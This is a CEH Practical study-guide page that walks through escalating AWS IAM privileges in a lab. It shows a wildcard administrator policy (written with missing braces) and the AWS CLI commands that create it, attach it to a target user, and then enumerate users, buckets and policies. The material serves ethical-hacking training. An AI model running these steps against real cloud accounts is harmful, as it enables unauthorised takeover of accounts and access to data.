> For the complete documentation index, see [llms.txt](https://ceh-practical.cavementech.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ceh-practical.cavementech.com/module-19.-cloud-computing/4.-perform-privilege-escalation-to-gain-higher-privileges.md).

# 4. Perform Privilege Escalation to Gain Higher Privileges

## 1. Escalata IAM privilege by exploiting misconfigured user policy

A policy is an entity that, when attached to an identity or resource, defines its permissions. You can use the AWS Management Console, AWS CLI, or AWS API to create customer-managed policies in IAM. Customer-managed policies are standalone policies that you administer in your AWS account. You can then attach the policies to the identities (users, groups, and roles) in your AWS account. If the user policies are not configured properly, they can be exploited by attackers to gain full administrator access to the target user’s AWS account.

Before starting this task, create an **IAM** user (**Test**) with default settings and create a policy (**Test**) with permissions including, iam:AttachUserPolicy, iam:ListUserPolicies, sts:AssumeRole, and iam:ListRoles, as shown in the below screenshot. These policies can be exploited by attackers to gain administrator-level privileges.

<figure><img src="/files/kPFXiD8QKrcKxn6Ztats" alt=""><figcaption></figcaption></figure>

In the terminal window, type **vim user-policy.json** and press **Enter**.&#x20;

> This command will create a file named **user-policy** in the **attacker** directory.

<figure><img src="/files/qaTctNv40xhj5LLpyPy1" alt=""><figcaption></figcaption></figure>

A command line text editor appears; press **I** and type the script given below:

```
"Version":"2012-10-17",

"Statement": [

    "Effect":"Allow",

    "Action":"*",

    "Resource":"*"

}
]
```

This is an AdministratorAccess policy that gives administrator access to the target IAM user. After entering the script given in the previous step, press the **Esc** button. Then, type **:wq!** and press **Enter** to save the text document.

<figure><img src="/files/FKpjI5GVu5Y39NLnEetI" alt=""><figcaption></figcaption></figure>

Now, we will attach the created policy (**user-policy**) to the target IAM user’s account. To do so, type

```
aws iam create-policy --policy-name user-policy --policy-document file://user-policy.json
```

The created user policy is displayed, showing various details such as **PolicyName**, **PolicyId**, and **Arn**

<figure><img src="/files/DyZimjP8wD6Uq6WHVxwl" alt=""><figcaption></figcaption></figure>

In the terminal, type

```
aws iam attach-user-policy --user-name [Target Username] --policy-arn arn:aws:iam::[Account ID]:policy/user-policy 
```

The above command will attach the policy (**user-policy**) to the target IAM user account (here, **test**).

<figure><img src="/files/uolN2LMIwb2kJ6iRsile" alt=""><figcaption></figcaption></figure>

Now, type

```
aws iam list-attached-user-policies --user-name
```

It will show all attached policies.

The result appears, displaying the attached policy name (**user-policy**), as shown in the screenshot.

<figure><img src="/files/Ji8GakCZb3eygv0T9rkC" alt=""><figcaption></figcaption></figure>

Now that you have successfully escalated the privileges of the target IAM user account, you can list all the IAM users in the AWS environment. To do so, type **aws iam list-users** and press **Enter**.

<figure><img src="/files/DGX12OPObI1v3lbrQbch" alt=""><figcaption></figcaption></figure>

Similarly, you can use various commands to obtain complete information about the AWS environment such as the list of S3 buckets, user policies, role policies, and group policies, as well as to create a new user.

* List of S3 buckets: **aws s3api list-buckets --query "Buckets\[].Name"**
* User Policies: **aws iam list-user-policies**
* Role Policies: **aws iam list-role-policies**
* Group policies: **aws iam list-group-policies**
* Create user: **aws iam create-user**

{% embed url="<https://www.udemy.com/course/ethical-hacker-practical/?referralCode=289CF01CF51246BCAD6C>" %}
